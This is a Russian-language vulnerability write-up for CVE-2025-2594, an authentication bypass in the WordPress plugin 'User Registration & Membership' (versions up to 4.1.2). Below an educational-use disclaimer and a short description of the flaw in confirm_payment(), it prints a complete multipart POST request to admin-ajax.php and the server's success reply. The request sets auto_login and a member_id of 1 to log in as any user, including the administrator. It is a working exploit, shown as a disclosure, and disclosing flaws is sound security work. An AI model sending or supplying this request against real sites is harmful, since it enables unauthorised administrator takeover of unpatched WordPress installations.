
Регистрация пользователей и членство <= 4.1.2 - Обход аутентификации
Информация, представленная в этом описании CVE (Common Vulnerabilities and Exposures), предназначена только для образовательных и информационных целей. Предоставленные сведения основаны на общедоступных ресурсах, исследованиях и анализе, проведённом автором. Содержание не предназначено для продвижения или поощрения любых незаконных действий, включая взлом, эксплуатацию уязвимостей или несанкционированный доступ к системам.
Автор не несёт никакой ответственности за любое неправомерное использование представленной информации. Рекомендуется применять эти знания ответственно и в соответствии с действующими законами и нормативными актами. Читателям настоятельно рекомендуется тестировать уязвимости только в контролируемых средах с соответствующим разрешением.
Автор и соавторы этого описания не поддерживают и не одобряют злонамеренные действия и призывают к ответственному раскрытию уязвимостей и этичным практикам взлома.
Критическая уязвимость безопасности была обнаружена в плагине "User Registration & Membership" для WordPress, популярном инструменте для создания сайтов с подпиской и регистрационных форм. Уязвимость, идентифицированная как CVE-2025-2594, имеет оценку CVSS 8.1, что указывает на её высокую серьёзность.
Плагин User Registration & Membership для WordPress уязвим к обходу аутентификации в версиях до 4.1.2 включительно. Это связано с некорректной аутентификацией в функции 'confirm_payment()'. Это позволяет неаутентифицированным злоумышленникам войти в систему от имени любого существующего пользователя, включая администратора, при условии:
POST /wp-admin/admin-ajax.php HTTP/1.1
User-Agent: PostmanRuntime/7.43.3
Accept: */*
Postman-Token: b41b34c8-c1c9-4e3a-aa4f-380706626e7a
Host: hackthebox.test
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------705549092016875046023302
Content-Length: 565
----------------------------705549092016875046023302
Content-Disposition: form-data; name="action"
user_registration_membership_confirm_payment
----------------------------705549092016875046023302
Content-Disposition: form-data; name="security"
CONFIRM_PAYMENT_NONCE
----------------------------705549092016875046023302
Content-Disposition: form-data; name="form_response"
{ "auto_login": true }
----------------------------705549092016875046023302
Content-Disposition: form-data; name="member_id"
1
----------------------------705549092016875046023302--
{"success":true,"data":{"message":null}}

- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-412-authentication-bypass
- https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.1/modules/membership/includes/AJAX.php#L566
- https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/AJAX.php
- https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/Admin/Services/MembersService.php